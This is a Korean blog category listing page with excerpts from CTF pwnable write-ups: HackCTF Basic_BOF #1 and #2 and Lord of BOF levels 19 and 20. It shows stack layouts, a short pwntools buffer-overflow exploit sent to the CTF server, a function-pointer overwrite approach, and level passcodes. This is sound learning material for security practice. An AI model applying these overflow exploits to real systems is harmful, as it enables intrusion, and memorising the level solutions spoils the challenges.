Pwnable

Pwnable/HackCTF

Basic_BOF #2

v5가 함수 포인터로 선언되어 있으므로 v5 자리에 쉘을 실행시키는 함수를 넣으면 될 것 같다. gdb로 분석하여 다른 함수들이 존재하는지 살펴보자. 이번 문제는 gdb와 ida로 분석해보면 함수 목록중에 shell 이라는 함수가 존재한다. 이 부분을 살펴보자. 역시 쉘을 실행시키는 함수가 있다. 이 함수의 주소를 찾아서 v5 자리에 덮어주면 쉘이 실행될 것이다. —————————— High Address | ret(4) | —————————— | sfp(4) | —————————— ← ebp | dummy | —————————— | v5 | —————————— ← ebp - 0xc | dummy | —————————— | s | —————————— Low Address ← ebp -0x8c from p..

Pwnable/HackCTF

Basic_BOF #1

gdb와 ida로 바이너리파일을 분석한 결과 메모리 구조는 다음과 같다. —————————— High Address | ret(4) | —————————— | sfp(4) | —————————— ← ebp | dummy | —————————— | v5 | —————————— ← ebp - 0xc | dummy | —————————— | s | —————————— Low Address ← ebp -0x34 payload 입력하여 다음과 같이 flag를 얻었다. from pwn import * r = remote("ctf.j0n9hyun.xyz", 3000) payload = "\x90"*40 + "\xef\xbe\xad\xde" r.sendline(payload) r.interactive()

Pwnable/LOB

[LOB] 20. DEATH_KNIGHT

passcode : got the life (NO DRAG, NO PASSCODE) LOB CLEAR

Pwnable/LOB

[LOB] 19. XAVIUS

passcode : throw me away (NO DRAG, NO PASSCODE) C언어로 구성된 간단한 소켓 프로그래밍 코드이다. 소켓 통신이란? 소켓 : IP address 와 Port 넘버가 합쳐진, 네트워크 상에서 서버 프로그램과 클리어언트 프로그램이 통신을 할 수 있도록 해주는 소프트웨어 장치이다. 엔드 포인트 : IP address + Port 조합, 식별자로 사용됨 일반적으로 서버는 특정 포트가 바인딩된 소켓를 가지고 특정 컴퓨터에서 작동한다. 클라이언트는 서버의 IP 주소 및 호스트 네임과 포트를 알고 있으며 이를 이용하여 연결 요청을 하게 된다. 요청을 하게 되면 서버는 소켓으로부터 요청을 받아들인다. 서버와 클라이언트가 통신을 하기 위한 과정은 다음과 같다. 클라이언트가 서버에 연결..

Lucvs
'Pwnable' 카테고리의 글 목록 (5 Page)